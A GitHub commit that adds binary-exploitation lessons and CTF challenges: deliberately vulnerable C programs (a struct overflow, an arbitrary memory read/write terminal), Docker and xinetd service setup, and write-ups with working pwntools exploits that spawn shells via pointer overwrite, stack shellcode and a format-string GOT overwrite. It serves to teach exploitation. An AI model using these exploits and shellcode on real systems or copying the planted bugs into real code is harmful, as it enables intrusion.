Skip to content

Commit a0d62e8

Browse files
committed
Added the advanced exercises, sections 9 and 10
1 parent 607472a commit a0d62e8

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

79 files changed

+1545
-2
lines changed

cleanup.sh

+4-2
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,6 @@
11
#!/bin/bash
22

3-
find . -name 'peda*.txt' | xargs -n 1 rm
4-
find . -name '.gdb_history' | xargs -n 1 rm
3+
find . -name 'peda*.txt' | xargs -t -n 1 rm
4+
find . -name '.gdb_history' | xargs -t -n 1 rm
5+
find . -name 'core' | xargs -t -n 1 rm
6+

lessons/10_bypass_got/Makefile

+11
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
all: 1_records 2_event1
2+
3+
1_records:
4+
gcc -m32 -fno-stack-protector -znoexecstack -o ./build/1_records ./src/1_records.c
5+
6+
7+
2_event1:
8+
gcc -m32 -znoexecstack -o ./build/2_event1 ./src/2_event1.c
9+
cp ./build/2_event1 ./services/event1/event1
10+
11+

lessons/10_bypass_got/build/1_records

7.29 KB
Binary file not shown.

lessons/10_bypass_got/build/2_event1

7.79 KB
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
FROM ubuntu:latest
2+
ENV user=event1
3+
RUN dpkg --add-architecture i386
4+
RUN sed -i -e 's/archive\.ubuntu\.com/mirror\.0x\.sg/g' /etc/apt/sources.list
5+
RUN apt-get update
6+
RUN apt-get install -y xinetd libc6:i386 libncurses5:i386 libstdc++6:i386
7+
RUN useradd -m $user
8+
RUN echo "$user hard nproc 20" >> /etc/security/limits.conf
9+
COPY ./event1 /home/$user/event1
10+
COPY ./event1service /etc/xinetd.d/event1service
11+
COPY ./flag /home/$user/flag
12+
RUN chown -R root:$user /home/$user
13+
RUN chmod -R 750 /home/$user
14+
RUN chown root:$user /home/$user/flag
15+
RUN chmod 440 /home/$user/flag
16+
EXPOSE 31337
17+
CMD ["/usr/sbin/xinetd", "-d"]
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/sh
2+
3+
docker build -t event1 .
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
#!/bin/sh
2+
3+
docker run -dt -p 1902:31337 event1
7.79 KB
Binary file not shown.
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
service event1service
2+
{
3+
disable = no
4+
socket_type = stream
5+
protocol = tcp
6+
wait = no
7+
user = event1
8+
bind = 0.0.0.0
9+
server = /home/event1/event1
10+
type = UNLISTED
11+
port = 31337
12+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
flag{g0t_m1lk?}

lessons/10_bypass_got/src/1_records.c

+31
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
#include <stdlib.h>
2+
#include <stdio.h>
3+
#include <string.h>
4+
#include <stdio.h>
5+
#include <unistd.h>
6+
7+
struct record {
8+
char name[24];
9+
char * album;
10+
};
11+
12+
int main() {
13+
14+
// Create the struct record
15+
struct record now_playing;
16+
strcpy(now_playing.name, "Simple Minds");
17+
now_playing.album = (char *) malloc(sizeof(char) * 24);
18+
strcpy(now_playing.album, "Breakfast");
19+
printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
20+
21+
// Read some user data
22+
read(0, now_playing.name, 28);
23+
printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
24+
25+
// Overwrite the album
26+
read(0, now_playing.album, 4);
27+
printf("Now Playing: %s (%s)\n", now_playing.name, now_playing.album);
28+
29+
// Print the name again
30+
puts(now_playing.name);
31+
}

lessons/10_bypass_got/src/2_event1.c

+87
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,87 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <unistd.h>
4+
#include <string.h>
5+
6+
int active = 1;
7+
char name[200];
8+
char * secret = "The Secret is No Longer Here. Get Shell!";
9+
10+
void print_warning() {
11+
puts("=======================================================================================");
12+
puts("This Kaizen-86 Artificial Intelligence would like to remind you that this is not a toy.");
13+
puts("Please treat this terminal with the utmost care.");
14+
puts("Crashing this program will result in ship malfunction.");
15+
puts("You have been warned.");
16+
puts("=======================================================================================\n");
17+
}
18+
19+
void print_prompt() {
20+
printf("Options for ");
21+
puts(name);
22+
puts("1. Peek Memory Address");
23+
puts("2. Change Name");
24+
puts("3. Overwite Memory Address");
25+
puts("9. Exit Terminal");
26+
}
27+
28+
void peek_prompt() {
29+
int * address;
30+
printf("Address: ");
31+
scanf("%p", &address);
32+
printf("Contents: 0x%x\n", *address);
33+
}
34+
35+
void change_name() {
36+
char buffer[100];
37+
printf("Name: ");
38+
read(0, buffer, sizeof(name));
39+
buffer[strcspn(buffer, "\n")] = 0;
40+
strncpy(name, buffer, sizeof(name));
41+
}
42+
43+
void poke_prompt() {
44+
int * address;
45+
int data;
46+
printf("Address: ");
47+
scanf("%p", &address);
48+
printf("Data: ");
49+
scanf("%x", &data);
50+
*address = data;
51+
}
52+
53+
void print_secret() {
54+
if (getpid() == 0) {
55+
puts("secret");
56+
}
57+
}
58+
59+
int main() {
60+
setvbuf(stdin, NULL, _IONBF, 0);
61+
setvbuf(stdout, NULL, _IONBF, 0);
62+
63+
int option;
64+
print_warning();
65+
change_name();
66+
while (active) {
67+
print_prompt();
68+
printf("Option: ");
69+
scanf("%d", &option);
70+
if (option == 9) {
71+
active = 0;
72+
puts("Goodbye.");
73+
}
74+
else if (option == 1) {
75+
peek_prompt();
76+
}
77+
else if (option == 2) {
78+
change_name();
79+
}
80+
else if (option == 3) {
81+
poke_prompt();
82+
}
83+
else if (option == 4) {
84+
print_secret();
85+
}
86+
}
87+
}
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
Drag Race
2+
---------
3+
4+
Lack of negative number validation and writing data outside of the designated
5+
buffer to overwrite a char array pointer to get a write what anywhere primitive.
6+
7+
# Question Text
8+
9+
```
10+
With a bestselling book under her belt and over fifty million copies sold, Anna
11+
Sewell has decided to go into the stock market. Please help her figure out her
12+
stock market ticker.
13+
14+
nc play.spgame.site 1350
15+
```
16+
17+
*Creator - amon (@nn_amon)*
18+
19+
# Setup Guide
20+
21+
0. Install docker on the hosting system
22+
1. Replace the flag in distribute/flag
23+
2. Build the docker image with: `sh dockerbuild.sh`
24+
3. Replace the port 1350 with your desired port in dockerrun.sh
25+
4. Start the docker image: `sh dockerrun.sh`
26+
5. Test the connectivity with netcat.
27+
28+
# Exploit Details
29+
30+
Setting the offset to -8 allows us to write the the symbol member of the
31+
ticker\_tape struct. Now, we can write the address of the src\_file global
32+
variable to the member byte by byte. After we have overwritten the char array
33+
pointer, we can choose to change the symbol to overwrite the src\_file variable
34+
with "/bin/sh". Finally, we trigger the shell by executing the view source
35+
command.
36+
37+
Working exploit in service/exploit.py.
38+
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
from pwn import *
2+
3+
#context.log_level = 'debug'
4+
5+
def main():
6+
#p = process("./blackbeauty")
7+
p = remote("localhost", 1350)
8+
9+
# Random tape length
10+
p.sendline("10")
11+
12+
# Write the address of the src file to the symbol member struct
13+
src_file_address = p64(0x6020a0)
14+
p.sendline("3")
15+
p.sendline("-8")
16+
for i in src_file_address:
17+
p.sendline("2")
18+
p.sendline(str(ord(i)))
19+
20+
# Write new shell command
21+
p.sendline("4")
22+
p.send("/bin/sh".ljust(16, "\x00"))
23+
24+
# Spawn the shell
25+
p.sendline("8")
26+
27+
p.recvrepeat(0.2)
28+
29+
log.success("Enjoy your shell!")
30+
p.interactive()
31+
32+
if __name__ == "__main__":
33+
main()
34+
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
Drag Race
2+
---------
3+
4+
Simple reverse the password, and buffer overflow RIP overwrite to shellcode
5+
stored on the executable heap.
6+
7+
# Question Text
8+
9+
```
10+
This bad binary is all T. All Shade.
11+
12+
nc play.spgame.site 1345
13+
```
14+
15+
*Creator - amon (@nn_amon)*
16+
17+
# Setup Guide
18+
19+
0. Install docker on the hosting system
20+
1. Replace the flag in distribute/flag
21+
2. Build the docker image with: `sh dockerbuild.sh`
22+
3. Replace the port 1345 with your desired port in dockerrun.sh
23+
4. Start the docker image: `sh dockerrun.sh`
24+
5. Test the connectivity with netcat.
25+
26+
# Exploit Details
27+
28+
The binary strcpys up to 512 bytes from a location in the heap onto a stack that
29+
has 128 bytes allocated for a character buffer in the function 'violet'.
30+
However, you need to pass a check on the first 8 bytes of the input. The binary
31+
provides the address of the heap buffer.
32+
33+
If you reverse the binary, you can retrieve the values that pass the check on
34+
the first 8 bytes of the input. Now, you can overwrite RIP by smashing the stack
35+
and place your shellcode at index 8 of the input then jump to that location.
36+
37+
Working exploit is in service/exploit.py
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
from pwn import *
2+
3+
shellcode = ("\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb" +
4+
"\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
5+
6+
#context.log_level = "debug"
7+
8+
def main():
9+
#p = process("./dragrace")
10+
p = remote("localhost", 1345)
11+
leak_line = p.recvline().strip()
12+
buffer_address = int(leak_line[22:], 16)
13+
log.info("Buffer Address: 0x%x" % buffer_address)
14+
15+
payload = "Ru'Pauls" + shellcode
16+
payload = payload.ljust(136, "\x90")
17+
payload += p64(buffer_address + 8)
18+
19+
p.sendline(payload)
20+
21+
p.recvrepeat(0.2)
22+
log.success("Enjoy your shell")
23+
p.interactive()
24+
25+
if __name__ == "__main__":
26+
main()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
Diapers Simulator
2+
-----------------
3+
4+
All server side files are in 'service'.
5+
All files to be distributed to the players are in 'distribute'. Please add the
6+
server address and port in distribute/description.
7+
8+
# Exploit Details
9+
10+
There is a vulnerability in the line:
11+
12+
`memcpy(diaper_profile.brand, "Bunny Rabbit", 12);`
13+
14+
The struct member length for the brand is 12 so this means that there is no null
15+
terminator for that member. It looks like it is correct because the member for
16+
wetness intentionally contains null bytes.
17+
18+
There is also an integer underflow on the wetness. You can decrement wetness
19+
until it underflows and hits -1. When you do that, all the null bytes in the
20+
wetness member disappears.
21+
22+
Changing the brand uses strlen to check how much to fread so now, there is a
23+
possibility of overflowing the brand member into the brand message member.
24+
25+
The brand message member is used in a format string vulnerability here:
26+
27+
`printf(diaper_obj->brand_message);`
28+
29+
Use the format string vulnerability to leak address of printf and calculate libc
30+
base. Then replace puts in GOT with system. On the next call of puts:
31+
32+
`puts("Shhhhh goodnight sleepy baby... go to b;ed");`
33+
34+
This will spawn an `ed` calculator instance which lets you get shell by doing
35+
the following statement:
36+
37+
`!sh`
38+
39+
Working exploit is in service/exploit.py
40+
41+
# Deployment Instructions
42+
43+
0. Install docker on the hosting system
44+
1. Replace the flag in distribute/flag
45+
2. Build the docker image with: `sh dockerbuild.sh`
46+
3. Replace the port 1343 with your desired port in dockerrun.sh
47+
4. Start the docker image: `sh dockerrun.sh`
48+
5. Test the connectivity with netcat.
49+
50+
libc should have the following hash d58eb4bfe204b6332b9ab3394ea943ef otherwise
51+
replace the libc in distribute.
52+
53+
Cheers,
54+
- amon.

0 commit comments

Comments
 (0)